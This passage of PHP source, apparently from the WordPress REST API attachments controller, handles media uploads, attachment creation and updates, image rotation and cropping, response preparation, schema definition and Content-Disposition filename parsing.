				! in_array( $files['file']['type'], $editor_non_resizable_formats, true ) &&
				! wp_image_editor_supports( array( 'mime_type' => $files['file']['type'] ) )
			) {
				return new WP_Error(
					'rest_upload_image_type_not_supported',
					__( 'The web server cannot generate responsive image sizes for this image. Convert it to JPEG or PNG before uploading.' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Creates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$insert = $this->insert_attachment( $request );

		if ( is_wp_error( $insert ) ) {
			return $insert;
		}

		$schema = $this->get_item_schema();

		// Extract by name.
		$attachment_id = $insert['attachment_id'];
		$file          = $insert['file'];

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment_id );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $attachment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$attachment    = get_post( $attachment_id );
		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$terms_update = $this->handle_terms( $attachment_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single attachment is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_after_insert_attachment', $attachment, $request, true );

		wp_after_insert_post( $attachment, false, null );

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		// Include media and image functions to get access to wp_generate_attachment_metadata().
		require_once ABSPATH . 'wp-admin/includes/media.php';
		require_once ABSPATH . 'wp-admin/includes/image.php';

		/*
		 * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta.
		 * At this point the server may run out of resources and post-processing of uploaded images may fail.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) );

		return $response;
	}

	/**
	 * Inserts the attachment post in the database. Does not update the attachment meta.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request
	 * @return array|WP_Error
	 */
	protected function insert_attachment( $request ) {
		// Get the file via $_FILES or raw data.
		$files   = $request->get_file_params();
		$headers = $request->get_headers();

		$time = null;

		// Matches logic in media_handle_upload().
		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );
			// The post date doesn't usually matter for pages, so don't backdate this upload.
			if ( $post && 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
				$time = $post->post_date;
			}
		}

		if ( ! empty( $files ) ) {
			$file = $this->upload_from_file( $files, $headers, $time );
		} else {
			$file = $this->upload_from_data( $request->get_body(), $headers, $time );
		}

		if ( is_wp_error( $file ) ) {
			return $file;
		}

		$name       = wp_basename( $file['file'] );
		$name_parts = pathinfo( $name );
		$name       = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) );

		$url  = $file['url'];
		$type = $file['type'];
		$file = $file['file'];

		// Include image functions to get access to wp_read_image_metadata().
		require_once ABSPATH . 'wp-admin/includes/image.php';

		// Use image exif/iptc data for title and caption defaults if possible.
		$image_meta = wp_read_image_metadata( $file );

		if ( ! empty( $image_meta ) ) {
			if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$request['title'] = $image_meta['title'];
			}

			if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) {
				$request['caption'] = $image_meta['caption'];
			}
		}

		$attachment = $this->prepare_item_for_database( $request );

		$attachment->post_mime_type = $type;
		$attachment->guid           = $url;

		// If the title was not set, use the original filename.
		if ( empty( $attachment->post_title ) && ! empty( $files['file']['name'] ) ) {
			// Remove the file extension (after the last `.`)
			$tmp_title = substr( $files['file']['name'], 0, strrpos( $files['file']['name'], '.' ) );

			if ( ! empty( $tmp_title ) ) {
				$attachment->post_title = $tmp_title;
			}
		}

		// Fall back to the original approach.
		if ( empty( $attachment->post_title ) ) {
			$attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
		}

		// $post_parent is inherited from $attachment['post_parent'].
		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false );

		if ( is_wp_error( $id ) ) {
			if ( 'db_update_error' === $id->get_error_code() ) {
				$id->add_data( array( 'status' => 500 ) );
			} else {
				$id->add_data( array( 'status' => 400 ) );
			}

			return $id;
		}

		$attachment = get_post( $id );

		/**
		 * Fires after a single attachment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    The request sent to the API.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_insert_attachment', $attachment, $request, true );

		return array(
			'attachment_id' => $id,
			'file'          => $file,
		);
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 6.5.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {
		$post_type         = get_post_type( $post_id );
		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );

		// Similar check as in wp_insert_post().
		if ( ! $thumbnail_support && get_post_mime_type( $post_id ) ) {
			if ( wp_attachment_is( 'audio', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			return parent::handle_featured_media( $featured_media, $post_id );
		}

		return new WP_Error(
			'rest_no_featured_media',
			sprintf(
				/* translators: %s: attachment mime type */
				__( 'This site does not support post thumbnails on attachments with MIME type %s.' ),
				get_post_mime_type( $post_id )
			),
			array( 'status' => 400 )
		);
	}

	/**
	 * Updates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$attachment_before = get_post( $request['id'] );
		$response          = parent::update_item( $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response = rest_ensure_response( $response );
		$data     = $response->get_data();

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] );
		}

		$attachment = get_post( $request['id'] );

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment->ID );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
		do_action( 'rest_after_insert_attachment', $attachment, $request, false );

		wp_after_insert_post( $attachment, true, $attachment_before );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Performs post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function post_process_item( $request ) {
		switch ( $request['action'] ) {
			case 'create-image-subsizes':
				require_once ABSPATH . 'wp-admin/includes/image.php';
				wp_update_image_subsizes( $request['id'] );
				break;
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( get_post( $request['id'] ), $request );
	}

	/**
	 * Checks if a given request can perform post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function post_process_item_permissions_check( $request ) {
		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Checks if a given request has access to editing media.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function edit_media_item_permissions_check( $request ) {
		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_edit_image',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Applies edits to a media item and creates a new attachment record.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function edit_media_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/image.php';

		$attachment_id = $request['id'];

		// This also confirms the attachment is an image.
		$image_file = wp_get_original_image_path( $attachment_id );
		$image_meta = wp_get_attachment_metadata( $attachment_id );

		if (
			! $image_meta ||
			! $image_file ||
			! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id )
		) {
			return new WP_Error(
				'rest_unknown_attachment',
				__( 'Unable to get meta information for file.' ),
				array( 'status' => 404 )
			);
		}

		$supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/avif', 'image/heic' );
		$mime_type       = get_post_mime_type( $attachment_id );
		if ( ! in_array( $mime_type, $supported_types, true ) ) {
			return new WP_Error(
				'rest_cannot_edit_file_type',
				__( 'This type of file cannot be edited.' ),
				array( 'status' => 400 )
			);
		}

		// The `modifiers` param takes precedence over the older format.
		if ( isset( $request['modifiers'] ) ) {
			$modifiers = $request['modifiers'];
		} else {
			$modifiers = array();

			if ( ! empty( $request['rotation'] ) ) {
				$modifiers[] = array(
					'type' => 'rotate',
					'args' => array(
						'angle' => $request['rotation'],
					),
				);
			}

			if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) {
				$modifiers[] = array(
					'type' => 'crop',
					'args' => array(
						'left'   => $request['x'],
						'top'    => $request['y'],
						'width'  => $request['width'],
						'height' => $request['height'],
					),
				);
			}

			if ( 0 === count( $modifiers ) ) {
				return new WP_Error(
					'rest_image_not_edited',
					__( 'The image was not edited. Edit the image before applying the changes.' ),
					array( 'status' => 400 )
				);
			}
		}

		/*
		 * If the file doesn't exist, attempt a URL fopen on the src link.
		 * This can occur with certain file replication plugins.
		 * Keep the original file path to get a modified name later.
		 */
		$image_file_to_edit = $image_file;
		if ( ! file_exists( $image_file_to_edit ) ) {
			$image_file_to_edit = _load_image_to_edit_path( $attachment_id );
		}

		$image_editor = wp_get_image_editor( $image_file_to_edit );

		if ( is_wp_error( $image_editor ) ) {
			return new WP_Error(
				'rest_unknown_image_file_type',
				__( 'Unable to edit this image.' ),
				array( 'status' => 500 )
			);
		}

		foreach ( $modifiers as $modifier ) {
			$args = $modifier['args'];
			switch ( $modifier['type'] ) {
				case 'rotate':
					// Rotation direction: clockwise vs. counterclockwise.
					$rotate = 0 - $args['angle'];

					if ( 0 !== $rotate ) {
						$result = $image_editor->rotate( $rotate );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_rotation_failed',
								__( 'Unable to rotate this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

				case 'crop':
					$size = $image_editor->get_size();

					$crop_x = (int) round( ( $size['width'] * $args['left'] ) / 100.0 );
					$crop_y = (int) round( ( $size['height'] * $args['top'] ) / 100.0 );
					$width  = (int) round( ( $size['width'] * $args['width'] ) / 100.0 );
					$height = (int) round( ( $size['height'] * $args['height'] ) / 100.0 );

					if ( $size['width'] !== $width || $size['height'] !== $height ) {
						$result = $image_editor->crop( $crop_x, $crop_y, $width, $height );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_crop_failed',
								__( 'Unable to crop this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

			}
		}

		// Calculate the file name.
		$image_ext  = pathinfo( $image_file, PATHINFO_EXTENSION );
		$image_name = wp_basename( $image_file, ".{$image_ext}" );

		/*
		 * Do not append multiple `-edited` to the file name.
		 * The user may be editing a previously edited image.
		 */
		if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) {
			// Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number.
			$image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name );
		} else {
			// Append `-edited` before the extension.
			$image_name .= '-edited';
		}

		$filename = "{$image_name}.{$image_ext}";

		// Create the uploads subdirectory if needed.
		$uploads = wp_upload_dir();

		// Make the file name unique in the (new) upload directory.
		$filename = wp_unique_filename( $uploads['path'], $filename );

		// Save to disk.
		$saved = $image_editor->save( $uploads['path'] . "/$filename" );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		// Create new attachment post.
		$new_attachment_post = array(
			'post_mime_type' => $saved['mime-type'],
			'guid'           => $uploads['url'] . "/$filename",
			'post_title'     => $image_name,
			'post_content'   => '',
		);

		// Copy post_content, post_excerpt, and post_title from the edited image's attachment post.
		$attachment_post = get_post( $attachment_id );

		if ( $attachment_post ) {
			$new_attachment_post['post_content'] = $attachment_post->post_content;
			$new_attachment_post['post_excerpt'] = $attachment_post->post_excerpt;
			$new_attachment_post['post_title']   = $attachment_post->post_title;
		}

		$new_attachment_id = wp_insert_attachment( wp_slash( $new_attachment_post ), $saved['path'], 0, true );

		if ( is_wp_error( $new_attachment_id ) ) {
			if ( 'db_update_error' === $new_attachment_id->get_error_code() ) {
				$new_attachment_id->add_data( array( 'status' => 500 ) );
			} else {
				$new_attachment_id->add_data( array( 'status' => 400 ) );
			}

			return $new_attachment_id;
		}

		// Copy the image alt text from the edited image.
		$image_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );

		if ( ! empty( $image_alt ) ) {
			// update_post_meta() expects slashed.
			update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
		}

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id );
		}

		// Generate image sub-sizes and meta.
		$new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] );

		// Copy the EXIF metadata from the original attachment if not generated for the edited image.
		if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) {
			// Merge but skip empty values.
			foreach ( (array) $image_meta['image_meta'] as $key => $value ) {
				if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) {
					$new_image_meta['image_meta'][ $key ] = $value;
				}
			}
		}

		// Reset orientation. At this point the image is edited and orientation is correct.
		if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) {
			$new_image_meta['image_meta']['orientation'] = 1;
		}

		// The attachment_id may change if the site is exported and imported.
		$new_image_meta['parent_image'] = array(
			'attachment_id' => $attachment_id,
			// Path to the originally uploaded image file relative to the uploads directory.
			'file'          => _wp_relative_upload_path( $image_file ),
		);

		/**
		 * Filters the meta data for the new image created by editing an existing image.
		 *
		 * @since 5.5.0
		 *
		 * @param array $new_image_meta    Meta data for the new image.
		 * @param int   $new_attachment_id Attachment post ID for the new image.
		 * @param int   $attachment_id     Attachment post ID for the edited (parent) image.
		 */
		$new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id );

		wp_update_attachment_metadata( $new_attachment_id, $new_image_meta );

		$response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) );

		return $response;
	}

	/**
	 * Prepares a single attachment for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_attachment = parent::prepare_item_for_database( $request );

		// Attachment caption (post_excerpt internally).
		if ( isset( $request['caption'] ) ) {
			if ( is_string( $request['caption'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption'];
			} elseif ( isset( $request['caption']['raw'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption']['raw'];
			}
		}

		// Attachment description (post_content internally).
		if ( isset( $request['description'] ) ) {
			if ( is_string( $request['description'] ) ) {
				$prepared_attachment->post_content = $request['description'];
			} elseif ( isset( $request['description']['raw'] ) ) {
				$prepared_attachment->post_content = $request['description']['raw'];
			}
		}

		if ( isset( $request['post'] ) ) {
			$prepared_attachment->post_parent = (int) $request['post'];
		}

		return $prepared_attachment;
	}

	/**
	 * Prepares a single attachment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Attachment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$response = parent::prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );
		$data     = $response->get_data();

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'caption', $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'the_excerpt', $caption );

			$data['caption'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $caption,
			);
		}

		if ( in_array( 'alt_text', $fields, true ) ) {
			$data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
		}

		if ( in_array( 'media_type', $fields, true ) ) {
			$data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file';
		}

		if ( in_array( 'mime_type', $fields, true ) ) {
			$data['mime_type'] = $post->post_mime_type;
		}

		if ( in_array( 'media_details', $fields, true ) ) {
			$data['media_details'] = wp_get_attachment_metadata( $post->ID );

			// Ensure empty details is an empty object.
			if ( empty( $data['media_details'] ) ) {
				$data['media_details'] = new stdClass();
			} elseif ( ! empty( $data['media_details']['sizes'] ) ) {

				foreach ( $data['media_details']['sizes'] as $size => &$size_data ) {

					if ( isset( $size_data['mime-type'] ) ) {
						$size_data['mime_type'] = $size_data['mime-type'];
						unset( $size_data['mime-type'] );
					}

					// Use the same method image_downsize() does.
					$image_src = wp_get_attachment_image_src( $post->ID, $size );
					if ( ! $image_src ) {
						continue;
					}

					$size_data['source_url'] = $image_src[0];
				}

				$full_src = wp_get_attachment_image_src( $post->ID, 'full' );

				if ( ! empty( $full_src ) ) {
					$data['media_details']['sizes']['full'] = array(
						'file'       => wp_basename( $full_src[0] ),
						'width'      => $full_src[1],
						'height'     => $full_src[2],
						'mime_type'  => $post->post_mime_type,
						'source_url' => $full_src[0],
					);
				}
			} else {
				$data['media_details']['sizes'] = new stdClass();
			}
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null;
		}

		if ( in_array( 'source_url', $fields, true ) ) {
			$data['source_url'] = wp_get_attachment_url( $post->ID );
		}

		if ( in_array( 'missing_image_sizes', $fields, true ) ) {
			require_once ABSPATH . 'wp-admin/includes/image.php';
			$data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';

		$data = $this->filter_response_by_context( $data, $context );

		$links = $response->get_links();

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		foreach ( $links as $rel => $rel_links ) {
			foreach ( $rel_links as $link ) {
				$response->add_link( $rel, $link['href'], $link['attributes'] );
			}
		}

		/**
		 * Filters an attachment returned from the REST API.
		 *
		 * Allows modification of the attachment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original attachment post.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_attachment', $response, $post, $request );
	}

	/**
	 * Retrieves the attachment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema as an array.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		$schema['properties']['alt_text'] = array(
			'description' => __( 'Alternative text to display when attachment is not displayed.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['caption'] = array(
			'description' => __( 'The attachment caption.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Caption for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML caption for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The attachment description.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Description for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML description for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['media_type'] = array(
			'description' => __( 'Attachment type.' ),
			'type'        => 'string',
			'enum'        => array( 'image', 'file' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['mime_type'] = array(
			'description' => __( 'The attachment MIME type.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['media_details'] = array(
			'description' => __( 'Details about the media file, specific to its type.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['post'] = array(
			'description' => __( 'The ID for the associated post of the attachment.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit' ),
		);

		$schema['properties']['source_url'] = array(
			'description' => __( 'URL to the original attachment file.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['missing_image_sizes'] = array(
			'description' => __( 'List of the missing image sizes of the attachment.' ),
			'type'        => 'array',
			'items'       => array( 'type' => 'string' ),
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		unset( $schema['properties']['password'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Handles an upload via raw POST data.
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param string      $data    Supplied file data.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in 'yyyy/mm'. Default null.
	 * @return array|WP_Error Data from wp_handle_sideload().
	 */
	protected function upload_from_data( $data, $headers, $time = null ) {
		if ( empty( $data ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_type'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_type',
				__( 'No Content-Type supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_disposition'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_disposition',
				__( 'No Content-Disposition supplied.' ),
				array( 'status' => 400 )
			);
		}

		$filename = self::get_filename_from_disposition( $headers['content_disposition'] );

		if ( empty( $filename ) ) {
			return new WP_Error(
				'rest_upload_invalid_disposition',
				__( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5( $data );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Get the content-type.
		$type = array_shift( $headers['content_type'] );

		// Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		// Save the file.
		$tmpfname = wp_tempnam( $filename );

		$fp = fopen( $tmpfname, 'w+' );

		if ( ! $fp ) {
			return new WP_Error(
				'rest_upload_file_error',
				__( 'Could not open file handle.' ),
				array( 'status' => 500 )
			);
		}

		fwrite( $fp, $data );
		fclose( $fp );

		// Now, sideload it in.
		$file_data = array(
			'error'    => null,
			'tmp_name' => $tmpfname,
			'name'     => $filename,
			'type'     => $type,
		);

		$size_check = self::check_upload_size( $file_data );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		$overrides = array(
			'test_form' => false,
		);

		$sideloaded = wp_handle_sideload( $file_data, $overrides, $time );

		if ( isset( $sideloaded['error'] ) ) {
			@unlink( $tmpfname );

			return new WP_Error(
				'rest_upload_sideload_error',
				$sideloaded['error'],
				array( 'status' => 500 )
			);
		}

		return $sideloaded;
	}

	/**
	 * Parses filename from a Content-Disposition header value.
	 *
	 * As per RFC6266:
	 *
	 *     content-disposition = "Content-Disposition" ":"
	 *                            disposition-type *( ";" disposition-parm )
	 *
	 *     disposition-type    = "inline" | "attachment" | disp-ext-type
	 *                         ; case-insensitive
	 *     disp-ext-type       = token
	 *
	 *     disposition-parm    = filename-parm | disp-ext-parm
	 *
	 *     filename-parm       = "filename" "=" value
	 *                         | "filename*" "=" ext-value
	 *
	 *     disp-ext-parm       = token "=" value
	 *                         | ext-token "=" ext-value
	 *     ext-token           = <the characters in token, followed by "*">
	 *
	 * @since 4.7.0
	 *
	 * @link https://tools.ietf.org/html/rfc2388
	 * @link https://tools.ietf.org/html/rfc6266
	 *
	 * @param string[] $disposition_header List of Content-Disposition header values.
	 * @return string|null Filename if available, or null if not found.
	 */
	public static function get_filename_from_disposition( $disposition_header ) {
		// Get the filename.
		$filename = null;

		foreach ( $disposition_header as $value ) {
			$value = trim( $value );

			if ( ! str_contains( $value, ';' ) ) {
				continue;
			}

			list( , $attr_parts ) = explode( ';', $value, 2 );

			$attr_parts = explode( ';', $attr_parts );
			$attributes = array();

			foreach ( $attr_parts as $part ) {
				if ( ! str_contains( $part, '=' ) ) {
					continue;
				}

				list( $key, $value ) = explode( '=', $part, 2 );

				$attributes[ trim( $key ) ] = trim( $value );
			}

			if ( empty( $attributes['filename'] ) ) {
				continue;
			}

			$filename = trim( $attributes['filename'] );

			// Unquote quoted filename, but after trimming.
			if ( str_starts_with( $filename, '"' ) && str_ends_with( $filename, '"' ) ) {
				$filename = substr( $filename, 1, -1 );
			}
		}

		return $filename;
	}

	/**
	 * Retrieves the query params for collections of attachments.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the attachment collection as an array.
	 */
	public function get_collection_params() {
		$params                            = parent::get_collection_params();
		$params['status']['default']       = 'inherit';
		$params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' );
		$media_types                       = $this->get_media_types();

		$params['media_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular media type.' ),
